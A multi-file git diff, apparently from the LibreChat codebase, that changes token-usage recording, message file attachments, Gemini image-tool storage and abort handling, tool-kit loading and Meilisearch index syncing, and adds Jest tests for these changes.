     if (!isEdited && !this.skipSaveUserMessage) {
+      const reqFiles = this.options.req?.body?.files;
+      if (reqFiles && Array.isArray(this.options.attachments)) {
+        const files = buildMessageFiles(reqFiles, this.options.attachments);
+        if (files.length > 0) {
+          userMessage.files = files;
+        }
+        delete userMessage.image_urls;
+      }
       userMessagePromise = this.saveMessageToDatabase(userMessage, saveOptions, user);
       this.savedMessageIds.add(userMessage.messageId);
       if (typeof opts?.getReqData === 'function') {
@@ -780,9 +797,18 @@ class BaseClient {
           promptTokens,
           completionTokens,
           balance: balanceConfig,
-          model: responseMessage.model,
+          /** Note: When using agents, responseMessage.model is the agent ID, not the model */
+          model: this.model,
+          messageId: this.responseMessageId,
         });
       }
+
+      logger.debug('[BaseClient] Response token usage', {
+        messageId: responseMessage.messageId,
+        model: responseMessage.model,
+        promptTokens,
+        completionTokens,
+      });
     }
 
     if (userMessagePromise) {
@@ -1300,6 +1326,9 @@ class BaseClient {
 
     const allFiles = [];
 
+    const provider = this.options.agent?.provider ?? this.options.endpoint;
+    const isBedrock = provider === EModelEndpoint.bedrock;
+
     for (const file of attachments) {
       /** @type {FileSources} */
       const source = file.source ?? FileSources.local;
@@ -1317,6 +1346,9 @@ class BaseClient {
       } else if (file.type === 'application/pdf') {
         categorizedAttachments.documents.push(file);
         allFiles.push(file);
+      } else if (isBedrock && isBedrockDocumentType(file.type)) {
+        categorizedAttachments.documents.push(file);
+        allFiles.push(file);
       } else if (file.type.startsWith('video/')) {
         categorizedAttachments.videos.push(file);
         allFiles.push(file);
diff --git a/api/app/clients/specs/BaseClient.test.js b/api/app/clients/specs/BaseClient.test.js
index fed80de28c..f13c9979ac 100644
--- a/api/app/clients/specs/BaseClient.test.js
+++ b/api/app/clients/specs/BaseClient.test.js
@@ -821,6 +821,56 @@ describe('BaseClient', () => {
     });
   });
 
+  describe('recordTokenUsage model assignment', () => {
+    test('should pass this.model to recordTokenUsage, not the agent ID from responseMessage.model', async () => {
+      const actualModel = 'claude-opus-4-5';
+      const agentId = 'agent_p5Z_IU6EIxBoqn1BoqLBp';
+
+      TestClient.model = actualModel;
+      TestClient.options.endpoint = 'agents';
+      TestClient.options.agent = { id: agentId };
+
+      TestClient.getTokenCountForResponse = jest.fn().mockReturnValue(50);
+      TestClient.recordTokenUsage = jest.fn().mockResolvedValue(undefined);
+      TestClient.buildMessages.mockReturnValue({
+        prompt: [],
+        tokenCountMap: { res: 50 },
+      });
+
+      await TestClient.sendMessage('Hello', {});
+
+      expect(TestClient.recordTokenUsage).toHaveBeenCalledWith(
+        expect.objectContaining({
+          model: actualModel,
+        }),
+      );
+
+      const callArgs = TestClient.recordTokenUsage.mock.calls[0][0];
+      expect(callArgs.model).not.toBe(agentId);
+    });
+
+    test('should pass this.model even when this.model differs from modelOptions.model', async () => {
+      const instanceModel = 'gpt-4o';
+      TestClient.model = instanceModel;
+      TestClient.modelOptions = { model: 'gpt-4o-mini' };
+
+      TestClient.getTokenCountForResponse = jest.fn().mockReturnValue(50);
+      TestClient.recordTokenUsage = jest.fn().mockResolvedValue(undefined);
+      TestClient.buildMessages.mockReturnValue({
+        prompt: [],
+        tokenCountMap: { res: 50 },
+      });
+
+      await TestClient.sendMessage('Hello', {});
+
+      expect(TestClient.recordTokenUsage).toHaveBeenCalledWith(
+        expect.objectContaining({
+          model: instanceModel,
+        }),
+      );
+    });
+  });
+
   describe('getMessagesWithinTokenLimit with instructions', () => {
     test('should always include instructions when present', async () => {
       TestClient.maxContextTokens = 50;
@@ -928,4 +978,123 @@ describe('BaseClient', () => {
       expect(result.remainingContextTokens).toBe(2); // 25 - 20 - 3(assistant label)
     });
   });
+
+  describe('sendMessage file population', () => {
+    const attachment = {
+      file_id: 'file-abc',
+      filename: 'image.png',
+      filepath: '/uploads/image.png',
+      type: 'image/png',
+      bytes: 1024,
+      object: 'file',
+      user: 'user-1',
+      embedded: false,
+      usage: 0,
+      text: 'large ocr blob that should be stripped',
+      _id: 'mongo-id-1',
+    };
+
+    beforeEach(() => {
+      TestClient.options.req = { body: { files: [{ file_id: 'file-abc' }] } };
+      TestClient.options.attachments = [attachment];
+    });
+
+    test('populates userMessage.files before saveMessageToDatabase is called', async () => {
+      TestClient.saveMessageToDatabase = jest.fn().mockImplementation((msg) => {
+        return Promise.resolve({ message: msg });
+      });
+
+      await TestClient.sendMessage('Hello');
+
+      const userSave = TestClient.saveMessageToDatabase.mock.calls.find(
+        ([msg]) => msg.isCreatedByUser,
+      );
+      expect(userSave).toBeDefined();
+      expect(userSave[0].files).toBeDefined();
+      expect(userSave[0].files).toHaveLength(1);
+      expect(userSave[0].files[0].file_id).toBe('file-abc');
+    });
+
+    test('strips text and _id from files before saving', async () => {
+      TestClient.saveMessageToDatabase = jest.fn().mockResolvedValue({ message: {} });
+
+      await TestClient.sendMessage('Hello');
+
+      const userSave = TestClient.saveMessageToDatabase.mock.calls.find(
+        ([msg]) => msg.isCreatedByUser,
+      );
+      expect(userSave[0].files[0].text).toBeUndefined();
+      expect(userSave[0].files[0]._id).toBeUndefined();
+      expect(userSave[0].files[0].filename).toBe('image.png');
+    });
+
+    test('deletes image_urls from userMessage when files are present', async () => {
+      TestClient.saveMessageToDatabase = jest.fn().mockResolvedValue({ message: {} });
+      TestClient.options.attachments = [
+        { ...attachment, image_urls: ['data:image/png;base64,...'] },
+      ];
+
+      await TestClient.sendMessage('Hello');
+
+      const userSave = TestClient.saveMessageToDatabase.mock.calls.find(
+        ([msg]) => msg.isCreatedByUser,
+      );
+      expect(userSave[0].image_urls).toBeUndefined();
+    });
+
+    test('does not set files when no attachments match request file IDs', async () => {
+      TestClient.options.req = { body: { files: [{ file_id: 'file-nomatch' }] } };
+      TestClient.saveMessageToDatabase = jest.fn().mockResolvedValue({ message: {} });
+
+      await TestClient.sendMessage('Hello');
+
+      const userSave = TestClient.saveMessageToDatabase.mock.calls.find(
+        ([msg]) => msg.isCreatedByUser,
+      );
+      expect(userSave[0].files).toBeUndefined();
+    });
+
+    test('skips file population when attachments is not an array (Promise case)', async () => {
+      TestClient.options.attachments = Promise.resolve([attachment]);
+      TestClient.saveMessageToDatabase = jest.fn().mockResolvedValue({ message: {} });
+
+      await TestClient.sendMessage('Hello');
+
+      const userSave = TestClient.saveMessageToDatabase.mock.calls.find(
+        ([msg]) => msg.isCreatedByUser,
+      );
+      expect(userSave[0].files).toBeUndefined();
+    });
+
+    test('skips file population when skipSaveUserMessage is true', async () => {
+      TestClient.skipSaveUserMessage = true;
+      TestClient.saveMessageToDatabase = jest.fn().mockResolvedValue({ message: {} });
+
+      await TestClient.sendMessage('Hello');
+
+      const userSave = TestClient.saveMessageToDatabase.mock.calls.find(
+        ([msg]) => msg?.isCreatedByUser,
+      );
+      expect(userSave).toBeUndefined();
+    });
+
+    test('ignores file_id: undefined entries in req.body.files (no set poisoning)', async () => {
+      TestClient.options.req = {
+        body: { files: [{ file_id: undefined }, { file_id: 'file-abc' }] },
+      };
+      TestClient.options.attachments = [
+        { ...attachment, file_id: undefined },
+        { ...attachment, file_id: 'file-abc' },
+      ];
+      TestClient.saveMessageToDatabase = jest.fn().mockResolvedValue({ message: {} });
+
+      await TestClient.sendMessage('Hello');
+
+      const userSave = TestClient.saveMessageToDatabase.mock.calls.find(
+        ([msg]) => msg.isCreatedByUser,
+      );
+      expect(userSave[0].files).toHaveLength(1);
+      expect(userSave[0].files[0].file_id).toBe('file-abc');
+    });
+  });
 });
diff --git a/api/app/clients/tools/manifest.json b/api/app/clients/tools/manifest.json
index 7930e67ac9..9637c20867 100644
--- a/api/app/clients/tools/manifest.json
+++ b/api/app/clients/tools/manifest.json
@@ -16,7 +16,7 @@
     "name": "Google",
     "pluginKey": "google",
     "description": "Use Google Search to find information about the weather, news, sports, and more.",
-    "icon": "https://i.imgur.com/SMmVkNB.png",
+    "icon": "assets/google-search.svg",
     "authConfig": [
       {
         "authField": "GOOGLE_CSE_ID",
@@ -61,7 +61,7 @@
     "name": "DALL-E-3",
     "pluginKey": "dalle",
     "description": "[DALL-E-3] Create realistic images and art from a description in natural language",
-    "icon": "https://i.imgur.com/u2TzXzH.png",
+    "icon": "assets/openai.svg",
     "authConfig": [
       {
         "authField": "DALLE3_API_KEY||DALLE_API_KEY",
@@ -74,7 +74,7 @@
     "name": "Tavily Search",
     "pluginKey": "tavily_search_results_json",
     "description": "Tavily Search is a robust search API tailored for LLM Agents. It seamlessly integrates with diverse data sources to ensure a superior, relevant search experience.",
-    "icon": "https://tavily.com/favicon.ico",
+    "icon": "assets/tavily.svg",
     "authConfig": [
       {
         "authField": "TAVILY_API_KEY",
@@ -87,14 +87,14 @@
     "name": "Calculator",
     "pluginKey": "calculator",
     "description": "Perform simple and complex mathematical calculations.",
-    "icon": "https://i.imgur.com/RHsSG5h.png",
+    "icon": "assets/calculator.svg",
     "authConfig": []
   },
   {
     "name": "Stable Diffusion",
     "pluginKey": "stable-diffusion",
     "description": "Generate photo-realistic images given any text input.",
-    "icon": "https://i.imgur.com/Yr466dp.png",
+    "icon": "assets/stability-ai.svg",
     "authConfig": [
       {
         "authField": "SD_WEBUI_URL",
@@ -107,7 +107,7 @@
     "name": "Azure AI Search",
     "pluginKey": "azure-ai-search",
     "description": "Use Azure AI Search to find information",
-    "icon": "https://i.imgur.com/E7crPze.png",
+    "icon": "assets/azure-ai-search.svg",
     "authConfig": [
       {
         "authField": "AZURE_AI_SEARCH_SERVICE_ENDPOINT",
@@ -143,7 +143,7 @@
     "name": "Flux",
     "pluginKey": "flux",
     "description": "Generate images using text with the Flux API.",
-    "icon": "https://blackforestlabs.ai/wp-content/uploads/2024/07/bfl_logo_retraced_blk.png",
+    "icon": "assets/bfl-ai.svg",
     "isAuthRequired": "true",
     "authConfig": [
       {
@@ -156,14 +156,14 @@
   {
     "name": "Gemini Image Tools",
     "pluginKey": "gemini_image_gen",
-    "toolkit": true,
     "description": "Generate high-quality images using Google's Gemini Image Models. Supports Gemini API or Vertex AI.",
     "icon": "assets/gemini_image_gen.svg",
     "authConfig": [
       {
-        "authField": "GEMINI_API_KEY||GOOGLE_KEY||GEMINI_VERTEX_ENABLED",
-        "label": "Gemini API Key (Optional if Vertex AI is configured)",
-        "description": "Your Google Gemini API Key from <a href='https://aistudio.google.com/app/apikey' target='_blank'>Google AI Studio</a>. Leave blank if using Vertex AI with service account."
+        "authField": "GEMINI_API_KEY||GOOGLE_KEY||GOOGLE_SERVICE_KEY_FILE",
+        "label": "Gemini API Key (optional)",
+        "description": "Your Google Gemini API Key from <a href='https://aistudio.google.com/app/apikey' target='_blank'>Google AI Studio</a>. Leave blank to use Vertex AI with a service account (GOOGLE_SERVICE_KEY_FILE or api/data/auth.json).",
+        "optional": true
       }
     ]
   }
diff --git a/api/app/clients/tools/structured/GeminiImageGen.js b/api/app/clients/tools/structured/GeminiImageGen.js
index c0e5a0ce1d..0bd1e302ed 100644
--- a/api/app/clients/tools/structured/GeminiImageGen.js
+++ b/api/app/clients/tools/structured/GeminiImageGen.js
@@ -1,4 +1,3 @@
-const fs = require('fs');
 const path = require('path');
 const sharp = require('sharp');
 const { v4 } = require('uuid');
@@ -6,12 +5,7 @@ const { ProxyAgent } = require('undici');
 const { GoogleGenAI } = require('@google/genai');
 const { tool } = require('@langchain/core/tools');
 const { logger } = require('@librechat/data-schemas');
-const {
-  FileContext,
-  ContentTypes,
-  FileSources,
-  EImageOutputType,
-} = require('librechat-data-provider');
+const { ContentTypes, EImageOutputType } = require('librechat-data-provider');
 const {
   geminiToolkit,
   loadServiceKey,
@@ -59,17 +53,12 @@ const displayMessage =
  * @returns {string} - The processed string
  */
 function replaceUnwantedChars(inputString) {
-  return inputString?.replace(/[^\w\s\-_.,!?()]/g, '') || '';
-}
-
-/**
- * Validate and sanitize image format
- * @param {string} format - The format to validate
- * @returns {string} - Safe format
- */
-function getSafeFormat(format) {
-  const allowedFormats = ['png', 'jpg', 'jpeg', 'webp', 'gif'];
-  return allowedFormats.includes(format?.toLowerCase()) ? format.toLowerCase() : 'png';
+  return (
+    inputString
+      ?.replace(/\r\n|\r|\n/g, ' ')
+      .replace(/"/g, '')
+      .trim() || ''
+  );
 }
 
 /**
@@ -117,11 +106,8 @@ async function initializeGeminiClient(options = {}) {
     return new GoogleGenAI({ apiKey: googleKey });
   }
 
-  // Fall back to Vertex AI with service account
   logger.debug('[GeminiImageGen] Using Vertex AI with service account');
   const credentialsPath = getDefaultServiceKeyPath();
-
-  // Use loadServiceKey for consistent loading (supports file paths, JSON strings, base64)
   const serviceKey = await loadServiceKey(credentialsPath);
 
   if (!serviceKey || !serviceKey.project_id) {
@@ -131,75 +117,14 @@ async function initializeGeminiClient(options = {}) {
     );
   }
 
-  // Set GOOGLE_APPLICATION_CREDENTIALS for any Google Cloud SDK dependencies
-  try {
-    await fs.promises.access(credentialsPath);
-    process.env.GOOGLE_APPLICATION_CREDENTIALS = credentialsPath;
-  } catch {
-    // File doesn't exist, skip setting env var
-  }
-
   return new GoogleGenAI({
     vertexai: true,
     project: serviceKey.project_id,
     location: process.env.GOOGLE_LOC || process.env.GOOGLE_CLOUD_LOCATION || 'global',
+    googleAuthOptions: { credentials: serviceKey },
   });
 }
 
-/**
- * Save image to local filesystem
- * @param {string} base64Data - Base64 encoded image data
- * @param {string} format - Image format
- * @param {string} userId - User ID
- * @returns {Promise<string>} - The relative URL
- */
-async function saveImageLocally(base64Data, format, userId) {
-  const safeFormat = getSafeFormat(format);
-  const safeUserId = userId ? path.basename(userId) : 'default';
-  const imageName = `gemini-img-${v4()}.${safeFormat}`;
-  const userDir = path.join(process.cwd(), 'client/public/images', safeUserId);
-
-  await fs.promises.mkdir(userDir, { recursive: true });
-
-  const filePath = path.join(userDir, imageName);
-  await fs.promises.writeFile(filePath, Buffer.from(base64Data, 'base64'));
-
-  logger.debug('[GeminiImageGen] Image saved locally to:', filePath);
-  return `/images/${safeUserId}/${imageName}`;
-}
-
-/**
- * Save image to cloud storage
- * @param {Object} params - Parameters
- * @returns {Promise<string|null>} - The storage URL or null
- */
-async function saveToCloudStorage({ base64Data, format, processFileURL, fileStrategy, userId }) {
-  if (!processFileURL || !fileStrategy || !userId) {
-    return null;
-  }
-
-  try {
-    const safeFormat = getSafeFormat(format);
-    const safeUserId = path.basename(userId);
-    const dataURL = `data:image/${safeFormat};base64,${base64Data}`;
-    const imageName = `gemini-img-${v4()}.${safeFormat}`;
-
-    const result = await processFileURL({
-      URL: dataURL,
-      basePath: 'images',
-      userId: safeUserId,
-      fileName: imageName,
-      fileStrategy,
-      context: FileContext.image_generation,
-    });
-
-    return result.filepath;
-  } catch (error) {
-    logger.error('[GeminiImageGen] Error saving to cloud storage:', error);
-    return null;
-  }
-}
-
 /**
  * Convert image files to Gemini inline data format
  * @param {Object} params - Parameters
@@ -326,8 +251,9 @@ function checkForSafetyBlock(response) {
  * @param {string} params.userId - The user ID
  * @param {string} params.conversationId - The conversation ID
  * @param {string} params.model - The model name
+ * @param {string} [params.messageId] - The response message ID for transaction correlation
  */
-async function recordTokenUsage({ usageMetadata, req, userId, conversationId, model }) {
+async function recordTokenUsage({ usageMetadata, req, userId, conversationId, model, messageId }) {
   if (!usageMetadata) {
     logger.debug('[GeminiImageGen] No usage metadata available for balance tracking');
     return;
@@ -363,6 +289,7 @@ async function recordTokenUsage({ usageMetadata, req, userId, conversationId, mo
       {
         user: userId,
         model,
+        messageId,
         conversationId,
         context: 'image_generation',
         balance,
@@ -390,34 +317,18 @@ function createGeminiImageTool(fields = {}) {
     throw new Error('This tool is only available for agents.');
   }
 
-  // Skip validation during tool creation - validation happens at runtime in initializeGeminiClient
-  // This allows the tool to be added to agents when using Vertex AI without requiring API keys
-  // The actual credentials check happens when the tool is invoked
-
-  const {
-    req,
-    imageFiles = [],
-    processFileURL,
-    userId,
-    fileStrategy,
-    GEMINI_API_KEY,
-    GOOGLE_KEY,
-    // GEMINI_VERTEX_ENABLED is used for auth validation only (not used in code)
-    // When set as env var, it signals Vertex AI is configured and bypasses API key requirement
-  } = fields;
+  const { req, imageFiles = [], userId, fileStrategy, GEMINI_API_KEY, GOOGLE_KEY } = fields;
 
   const imageOutputType = fields.imageOutputType || EImageOutputType.PNG;
 
   const geminiImageGenTool = tool(
-    async ({ prompt, image_ids, aspectRatio, imageSize }, _runnableConfig) => {
+    async ({ prompt, image_ids, aspectRatio, imageSize }, runnableConfig) => {
       if (!prompt) {
         throw new Error('Missing required field: prompt');
       }
 
-      logger.debug('[GeminiImageGen] Generating image with prompt:', prompt?.substring(0, 100));
-      logger.debug('[GeminiImageGen] Options:', { aspectRatio, imageSize });
+      logger.debug('[GeminiImageGen] Generating image', { aspectRatio, imageSize });
 
-      // Initialize Gemini client with user-provided credentials
       let ai;
       try {
         ai = await initializeGeminiClient({
@@ -432,10 +343,8 @@ function createGeminiImageTool(fields = {}) {
         ];
       }
 
-      // Build request contents
       const contents = [{ text: replaceUnwantedChars(prompt) }];
 
-      // Add context images if provided
       if (image_ids?.length > 0) {
         const contextImages = await convertImagesToInlineData({
           imageFiles,
@@ -447,28 +356,34 @@ function createGeminiImageTool(fields = {}) {
         logger.debug('[GeminiImageGen] Added', contextImages.length, 'context images');
       }
 
-      // Generate image
       let apiResponse;
       const geminiModel = process.env.GEMINI_IMAGE_MODEL || 'gemini-2.5-flash-image';
-      try {
-        // Build config with optional imageConfig
-        const config = {
-          responseModalities: ['TEXT', 'IMAGE'],
-        };
+      const config = {
+        responseModalities: ['TEXT', 'IMAGE'],
+      };
 
-        // Add imageConfig if aspectRatio or imageSize is specified
-        // Note: gemini-2.5-flash-image doesn't support imageSize
-        const supportsImageSize = !geminiModel.includes('gemini-2.5-flash-image');
-        if (aspectRatio || (imageSize && supportsImageSize)) {
-          config.imageConfig = {};
-          if (aspectRatio) {
-            config.imageConfig.aspectRatio = aspectRatio;
-          }
-          if (imageSize && supportsImageSize) {
-            config.imageConfig.imageSize = imageSize;
-          }
+      const supportsImageSize = !geminiModel.includes('gemini-2.5-flash-image');
+      if (aspectRatio || (imageSize && supportsImageSize)) {
+        config.imageConfig = {};
+        if (aspectRatio) {
+          config.imageConfig.aspectRatio = aspectRatio;
         }
+        if (imageSize && supportsImageSize) {
+          config.imageConfig.imageSize = imageSize;
+        }
+      }
 
+      let derivedSignal = null;
+      let abortHandler = null;
+
+      if (runnableConfig?.signal) {
+        derivedSignal = AbortSignal.any([runnableConfig.signal]);
+        abortHandler = () => logger.debug('[GeminiImageGen] Image generation aborted');
+        derivedSignal.addEventListener('abort', abortHandler, { once: true });
+        config.abortSignal = derivedSignal;
+      }
+
+      try {
         apiResponse = await ai.models.generateContent({
           model: geminiModel,
           contents,
@@ -480,9 +395,12 @@ function createGeminiImageTool(fields = {}) {
           [{ type: ContentTypes.TEXT, text: `Image generation failed: ${error.message}` }],
           { content: [], file_ids: [] },
         ];
+      } finally {
+        if (abortHandler && derivedSignal) {
+          derivedSignal.removeEventListener('abort', abortHandler);
+        }
       }
 
-      // Check for safety blocks
       const safetyBlock = checkForSafetyBlock(apiResponse);
       if (safetyBlock) {
         logger.warn('[GeminiImageGen] Safety block:', safetyBlock);
@@ -509,46 +427,7 @@ function createGeminiImageTool(fields = {}) {
       const imageData = convertedBuffer.toString('base64');
       const mimeType = outputFormat === 'jpeg' ? 'image/jpeg' : `image/${outputFormat}`;
 
-      logger.debug('[GeminiImageGen] Image format:', { outputFormat, mimeType });
-
-      let imageUrl;
-      const useLocalStorage = !fileStrategy || fileStrategy === FileSources.local;
-
-      if (useLocalStorage) {
-        try {
-          imageUrl = await saveImageLocally(imageData, outputFormat, userId);
-        } catch (error) {
-          logger.error('[GeminiImageGen] Local save failed:', error);
-          imageUrl = `data:${mimeType};base64,${imageData}`;
-        }
-      } else {
-        const cloudUrl = await saveToCloudStorage({
-          base64Data: imageData,
-          format: outputFormat,
-          processFileURL,
-          fileStrategy,
-          userId,
-        });
-
-        if (cloudUrl) {
-          imageUrl = cloudUrl;
-        } else {
-          // Fallback to local
-          try {
-            imageUrl = await saveImageLocally(imageData, outputFormat, userId);
-          } catch (_error) {
-            imageUrl = `data:${mimeType};base64,${imageData}`;
-          }
-        }
-      }
-
-      logger.debug('[GeminiImageGen] Image URL:', imageUrl);
-
-      // For the artifact, we need a data URL (same as OpenAI)
-      // The local file save is for persistence, but the response needs a data URL
       const dataUrl = `data:${mimeType};base64,${imageData}`;
-
-      // Return in content_and_artifact format (same as OpenAI)
       const file_ids = [v4()];
       const content = [
         {
@@ -567,12 +446,15 @@ function createGeminiImageTool(fields = {}) {
         },
       ];
 
-      // Record token usage for balance tracking (don't await to avoid blocking response)
-      const conversationId = _runnableConfig?.configurable?.thread_id;
+      const conversationId = runnableConfig?.configurable?.thread_id;
+      const messageId =
+        runnableConfig?.configurable?.run_id ??
+        runnableConfig?.configurable?.requestBody?.messageId;
       recordTokenUsage({
         usageMetadata: apiResponse.usageMetadata,
         req,
         userId,
+        messageId,
         conversationId,
         model: geminiModel,
       }).catch((error) => {
diff --git a/api/app/clients/tools/structured/specs/DALLE3-proxy.spec.js b/api/app/clients/tools/structured/specs/DALLE3-proxy.spec.js
index 4481a7d70f..262842b3c2 100644
--- a/api/app/clients/tools/structured/specs/DALLE3-proxy.spec.js
+++ b/api/app/clients/tools/structured/specs/DALLE3-proxy.spec.js
@@ -1,7 +1,6 @@
 const DALLE3 = require('../DALLE3');
 const { ProxyAgent } = require('undici');
 
-jest.mock('tiktoken');
 const processFileURL = jest.fn();
 
 describe('DALLE3 Proxy Configuration', () => {
diff --git a/api/app/clients/tools/structured/specs/DALLE3.spec.js b/api/app/clients/tools/structured/specs/DALLE3.spec.js
index d2040989f9..6071929bfc 100644
--- a/api/app/clients/tools/structured/specs/DALLE3.spec.js
+++ b/api/app/clients/tools/structured/specs/DALLE3.spec.js
@@ -14,15 +14,6 @@ jest.mock('@librechat/data-schemas', () => {
   };
 });
 
-jest.mock('tiktoken', () => {
-  return {
-    encoding_for_model: jest.fn().mockReturnValue({
-      encode: jest.fn(),
-      decode: jest.fn(),
-    }),
-  };
-});
-
 const processFileURL = jest.fn();
 
 const generate = jest.fn();
diff --git a/api/app/clients/tools/util/handleTools.js b/api/app/clients/tools/util/handleTools.js
index 65c88ce83f..d82a0d6930 100644
--- a/api/app/clients/tools/util/handleTools.js
+++ b/api/app/clients/tools/util/handleTools.js
@@ -7,6 +7,7 @@ const {
 } = require('@librechat/agents');
 const {
   checkAccess,
+  toolkitParent,
   createSafeUser,
   mcpToolPattern,
   loadWebSearchAuth,
@@ -207,7 +208,7 @@ const loadTools = async ({
     },
     gemini_image_gen: async (toolContextMap) => {
       const authFields = getAuthFields('gemini_image_gen');
-      const authValues = await loadAuthValues({ userId: user, authFields });
+      const authValues = await loadAuthValues({ userId: user, authFields, throwError: false });
       const imageFiles = options.tool_resources?.[EToolResources.image_edit]?.files ?? [];
       const toolContext = buildImageToolContext({
         imageFiles,
@@ -222,7 +223,6 @@ const loadTools = async ({
         isAgent: !!agent,
         req: options.req,
         imageFiles,
-        processFileURL: options.processFileURL,
         userId: user,
         fileStrategy,
       });
@@ -370,8 +370,16 @@ const loadTools = async ({
       continue;
     }
 
-    if (customConstructors[tool]) {
-      requestedTools[tool] = async () => customConstructors[tool](toolContextMap);
+    const toolKey = customConstructors[tool] ? tool : toolkitParent[tool];
+    if (toolKey && customConstructors[toolKey]) {
+      if (!requestedTools[toolKey]) {
+        let cached;
+        requestedTools[toolKey] = async () => {
+          cached ??= customConstructors[toolKey](toolContextMap);
+          return cached;
+        };
+      }
+      requestedTools[tool] = requestedTools[toolKey];
       continue;
     }
 
diff --git a/api/cache/getLogStores.js b/api/cache/getLogStores.js
index 3089192196..70eb681e53 100644
--- a/api/cache/getLogStores.js
+++ b/api/cache/getLogStores.js
@@ -47,7 +47,7 @@ const namespaces = {
   [CacheKeys.MODEL_QUERIES]: standardCache(CacheKeys.MODEL_QUERIES),
   [CacheKeys.AUDIO_RUNS]: standardCache(CacheKeys.AUDIO_RUNS, Time.TEN_MINUTES),
   [CacheKeys.MESSAGES]: standardCache(CacheKeys.MESSAGES, Time.ONE_MINUTE),
-  [CacheKeys.FLOWS]: standardCache(CacheKeys.FLOWS, Time.ONE_MINUTE * 3),
+  [CacheKeys.FLOWS]: standardCache(CacheKeys.FLOWS, Time.ONE_MINUTE * 10),
   [CacheKeys.OPENID_EXCHANGED_TOKENS]: standardCache(
     CacheKeys.OPENID_EXCHANGED_TOKENS,
     Time.TEN_MINUTES,
diff --git a/api/db/indexSync.js b/api/db/indexSync.js
index 8e8e999d92..130cde77b8 100644
--- a/api/db/indexSync.js
+++ b/api/db/indexSync.js
@@ -236,8 +236,12 @@ async function performSync(flowManager, flowId, flowType) {
       const messageCount = messageProgress.totalDocuments;
       const messagesIndexed = messageProgress.totalProcessed;
       const unindexedMessages = messageCount - messagesIndexed;
+      const noneIndexed = messagesIndexed === 0 && unindexedMessages > 0;
 
-      if (settingsUpdated || unindexedMessages > syncThreshold) {
+      if (settingsUpdated || noneIndexed || unindexedMessages > syncThreshold) {
+        if (noneIndexed && !settingsUpdated) {
+          logger.info('[indexSync] No messages marked as indexed, forcing full sync');
+        }
         logger.info(`[indexSync] Starting message sync (${unindexedMessages} unindexed)`);
         await Message.syncWithMeili();
         messagesSync = true;
@@ -261,9 +265,13 @@ async function performSync(flowManager, flowId, flowType) {
 
       const convoCount = convoProgress.totalDocuments;
       const convosIndexed = convoProgress.totalProcessed;
-
       const unindexedConvos = convoCount - convosIndexed;
-      if (settingsUpdated || unindexedConvos > syncThreshold) {
+      const noneConvosIndexed = convosIndexed === 0 && unindexedConvos > 0;
+
+      if (settingsUpdated || noneConvosIndexed || unindexedConvos > syncThreshold) {
+        if (noneConvosIndexed && !settingsUpdated) {
+          logger.info('[indexSync] No conversations marked as indexed, forcing full sync');
+        }
         logger.info(`[indexSync] Starting convos sync (${unindexedConvos} unindexed)`);
         await Conversation.syncWithMeili();
         convosSync = true;
diff --git a/api/db/indexSync.spec.js b/api/db/indexSync.spec.js
index c2e5901d6a..dbe07c7595 100644
--- a/api/db/indexSync.spec.js
+++ b/api/db/indexSync.spec.js
@@ -462,4 +462,69 @@ describe('performSync() - syncThreshold logic', () => {
     );
     expect(mockLogger.info).toHaveBeenCalledWith('[indexSync] Starting convos sync (50 unindexed)');
   });
+
+  test('forces sync when zero documents indexed (reset scenario) even if below threshold', async () => {
+    Message.getSyncProgress.mockResolvedValue({
+      totalProcessed: 0,
+      totalDocuments: 680,
+      isComplete: false,
+    });
+
+    Conversation.getSyncProgress.mockResolvedValue({
+      totalProcessed: 0,
+      totalDocuments: 76,
+      isComplete: false,
+    });
+
+    Message.syncWithMeili.mockResolvedValue(undefined);
+    Conversation.syncWithMeili.mockResolvedValue(undefined);
+
+    const indexSync = require('./indexSync');
+    await indexSync();
+
+    expect(Message.syncWithMeili).toHaveBeenCalledTimes(1);
+    expect(Conversation.syncWithMeili).toHaveBeenCalledTimes(1);
+    expect(mockLogger.info).toHaveBeenCalledWith(
+      '[indexSync] No messages marked as indexed, forcing full sync',
+    );
+    expect(mockLogger.info).toHaveBeenCalledWith(
+      '[indexSync] Starting message sync (680 unindexed)',
+    );
+    expect(mockLogger.info).toHaveBeenCalledWith(
+      '[indexSync] No conversations marked as indexed, forcing full sync',
+    );
+    expect(mockLogger.info).toHaveBeenCalledWith('[indexSync] Starting convos sync (76 unindexed)');
+  });
+
+  test('does NOT force sync when some documents already indexed and below threshold', async () => {
+    Message.getSyncProgress.mockResolvedValue({
+      totalProcessed: 630,
+      totalDocuments: 680,
+      isComplete: false,
+    });
+
+    Conversation.getSyncProgress.mockResolvedValue({
+      totalProcessed: 70,
+      totalDocuments: 76,
+      isComplete: false,
+    });
+
+    const indexSync = require('./indexSync');
+    await indexSync();
+
+    expect(Message.syncWithMeili).not.toHaveBeenCalled();
+    expect(Conversation.syncWithMeili).not.toHaveBeenCalled();
+    expect(mockLogger.info).not.toHaveBeenCalledWith(
+      '[indexSync] No messages marked as indexed, forcing full sync',
+    );
+    expect(mockLogger.info).not.toHaveBeenCalledWith(
+      '[indexSync] No conversations marked as indexed, forcing full sync',
+    );
+    expect(mockLogger.info).toHaveBeenCalledWith(
+      '[indexSync] 50 messages unindexed (below threshold: 1000, skipping)',
+    );
+    expect(mockLogger.info).toHaveBeenCalledWith(
+      '[indexSync] 6 convos unindexed (below threshold: 1000, skipping)',
+    );
+  });
 });
diff --git a/api/jest.config.js b/api/jest.config.js
index 20ee3c6aed..47f8b7287b 100644
--- a/api/jest.config.js
+++ b/api/jest.config.js
@@ -3,12 +3,13 @@ module.exports = {
   clearMocks: true,
   roots: ['<rootDir>'],
   coverageDirectory: 'coverage',
+  maxWorkers: '50%',
   testTimeout: 30000, // 30 seconds timeout for all tests
   setupFiles: ['./test/jestSetup.js', './test/__mocks__/logger.js'],
   moduleNameMapper: {
     '~/(.*)': '<rootDir>/$1',
     '~/data/auth.json': '<rootDir>/__mocks__/auth.mock.json',
-    '^openid-client/passport$': '<rootDir>/test/__mocks__/openid-client-passport.js', // Mock for the passport strategy part
+    '^openid-client/passport$': '<rootDir>/test/__mocks__/openid-client-passport.js',
     '^openid-client$': '<rootDir>/test/__mocks__/openid-client.js',
   },
   transformIgnorePatterns: ['/node_modules/(?!(openid-client|oauth4webapi|jose)/).*/'],
diff --git a/api/models/Conversation.js b/api/models/Conversation.js
index 32eac1a764..121eaa9696 100644
--- a/api/models/Conversation.js
+++ b/api/models/Conversation.js
@@ -228,7 +228,7 @@ module.exports = {
             },
           ],
         };
-      } catch (err) {
+      } catch (_err) {
         logger.warn('[getConvosByCursor] Invalid cursor format, starting from beginning');
       }
       if (cursorFilter) {
